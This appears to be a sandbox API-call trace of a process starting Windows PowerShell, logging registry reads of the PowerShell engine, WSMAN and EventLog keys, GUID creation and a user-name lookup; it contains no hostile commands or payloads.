	[0084.051] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xaaa72d1d, Data2=0x747c, Data3=0x4e3a, Data4=([0]=0xac, [1]=0xd8, [2]=0xc1, [3]=0x6e, [4]=0xf6, [5]=0xc3, [6]=0x56, [7]=0xdd))) returned 0x0
	[0084.051] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x99b12887, Data2=0xab2b, Data3=0x43a0, Data4=([0]=0xaf, [1]=0x5c, [2]=0x94, [3]=0xde, [4]=0xac, [5]=0x72, [6]=0xc8, [7]=0xeb))) returned 0x0
	[0084.054] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0084.054] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.054] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.055] RegCloseKey (hKey=0x308) returned 0x0
	[0084.055] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa474d1f4, Data2=0xee2c, Data3=0x4b9b, Data4=([0]=0x92, [1]=0xf5, [2]=0x87, [3]=0x4d, [4]=0x6a, [5]=0x78, [6]=0x95, [7]=0xb))) returned 0x0
	[0084.055] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xbb942c25, Data2=0x37d2, Data3=0x4e73, Data4=([0]=0xb1, [1]=0x65, [2]=0xf8, [3]=0xc, [4]=0xa5, [5]=0xca, [6]=0xfc, [7]=0xf0))) returned 0x0
	[0084.058] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0084.058] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.058] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.058] RegCloseKey (hKey=0x308) returned 0x0
	[0084.059] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xc1d4c94, Data2=0xf77a, Data3=0x4032, Data4=([0]=0xab, [1]=0xda, [2]=0x78, [3]=0x5, [4]=0x9e, [5]=0x14, [6]=0xa2, [7]=0xc7))) returned 0x0
	[0084.059] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xf586454c, Data2=0x65e0, Data3=0x4ac0, Data4=([0]=0xbd, [1]=0x2f, [2]=0x1e, [3]=0x37, [4]=0x6a, [5]=0x77, [6]=0x0, [7]=0x7b))) returned 0x0
	[0084.074] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea6c | out: phkResult=0xeea6c*=0x308) returned 0x0
	[0084.076] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeeabc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeeac0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeeabc*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeeac0*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.077] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x617f50, lpcchValueName=0xeeae4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xeeae4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0084.077] RegEnumValueW (in: hKey=0x308, dwIndex=0x1, lpValueName=0x617f50, lpcchValueName=0xeeae4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xeeae4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0084.078] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xeeac4, lpData=0x0, lpcbData=0xeeac0*=0x0 | out: lpType=0xeeac4*=0x1, lpData=0x0, lpcbData=0xeeac0*=0x8) returned 0x0
	[0084.078] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xeeac4, lpData=0x617f50, lpcbData=0xeeac0*=0x8 | out: lpType=0xeeac4*=0x1, lpData="2.0", lpcbData=0xeeac0*=0x8) returned 0x0
	[0084.149] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea28 | out: phkResult=0xeea28*=0x30c) returned 0x0
	[0084.150] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeea78, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea7c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeea78*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea7c*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.150] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x617f50, lpcchValueName=0xeeaa0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xeeaa0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0084.150] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x617f50, lpcchValueName=0xeeaa0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xeeaa0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0084.150] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xeea80, lpData=0x0, lpcbData=0xeea7c*=0x0 | out: lpType=0xeea80*=0x1, lpData=0x0, lpcbData=0xeea7c*=0x8) returned 0x0
	[0084.150] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xeea80, lpData=0x617f50, lpcbData=0xeea7c*=0x8 | out: lpType=0xeea80*=0x1, lpData="2.0", lpcbData=0xeea7c*=0x8) returned 0x0
	[0084.151] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.151] GetLastError () returned 0xcb
	[0084.152] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.152] GetLastError () returned 0xcb
	[0084.172] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9e8 | out: phkResult=0xee9e8*=0x310) returned 0x0
	[0084.172] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeea50, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea4c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeea50*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea4c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x0, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x1, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x2, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x3, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x4, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x5, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.173] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x6, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.174] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x7, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.174] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x8, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.174] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x9, lpName=0x617f50, lpcchName=0xeea6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xeea6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.174] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x32c) returned 0x0
	[0084.174] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.174] RegOpenKeyExW (in: hKey=0x310, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x33c) returned 0x0
	[0084.174] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.175] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x340) returned 0x0
	[0084.175] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.175] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x344) returned 0x0
	[0084.175] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.175] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x348) returned 0x0
	[0084.175] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.175] RegOpenKeyExW (in: hKey=0x310, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x34c) returned 0x0
	[0084.176] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.176] RegOpenKeyExW (in: hKey=0x310, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x350) returned 0x0
	[0084.176] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.176] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x5
	[0084.245] RegOpenKeyExW (in: hKey=0x310, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x354) returned 0x0
	[0084.245] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x0) returned 0x2
	[0084.245] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x358) returned 0x0
	[0084.245] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeea18 | out: phkResult=0xeea18*=0x35c) returned 0x0
	[0084.245] RegCloseKey (hKey=0x35c) returned 0x0
	[0084.246] RegCloseKey (hKey=0x310) returned 0x0
	[0084.246] RegCloseKey (hKey=0x358) returned 0x0
	[0084.253] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.254] GetLastError () returned 0x3
	[0084.254] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9cc | out: phkResult=0xee9cc*=0x310) returned 0x0
	[0084.314] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeea34, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea30, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeea34*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea30*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.314] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x0, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.314] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x1, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.314] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x2, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x3, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x4, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x5, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x6, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x7, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x8, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegEnumKeyExW (in: hKey=0x310, dwIndex=0x9, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.315] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x35c) returned 0x0
	[0084.315] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.315] RegOpenKeyExW (in: hKey=0x310, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x360) returned 0x0
	[0084.316] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.316] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x364) returned 0x0
	[0084.316] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.316] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x368) returned 0x0
	[0084.316] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.316] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x36c) returned 0x0
	[0084.316] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.316] RegOpenKeyExW (in: hKey=0x310, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x370) returned 0x0
	[0084.317] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.317] RegOpenKeyExW (in: hKey=0x310, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x374) returned 0x0
	[0084.317] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.317] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x5
	[0084.318] RegOpenKeyExW (in: hKey=0x310, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x378) returned 0x0
	[0084.318] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.319] RegOpenKeyExW (in: hKey=0x310, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x37c) returned 0x0
	[0084.319] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x380) returned 0x0
	[0084.319] RegCloseKey (hKey=0x380) returned 0x0
	[0084.319] RegCloseKey (hKey=0x310) returned 0x0
	[0084.319] RegCloseKey (hKey=0x37c) returned 0x0
	[0084.319] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9cc | out: phkResult=0xee9cc*=0x37c) returned 0x0
	[0084.319] RegQueryInfoKeyW (in: hKey=0x37c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeea34, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea30, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeea34*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea30*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.319] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x0, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.319] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x1, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x2, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x3, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x4, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x5, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x6, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x7, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x8, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
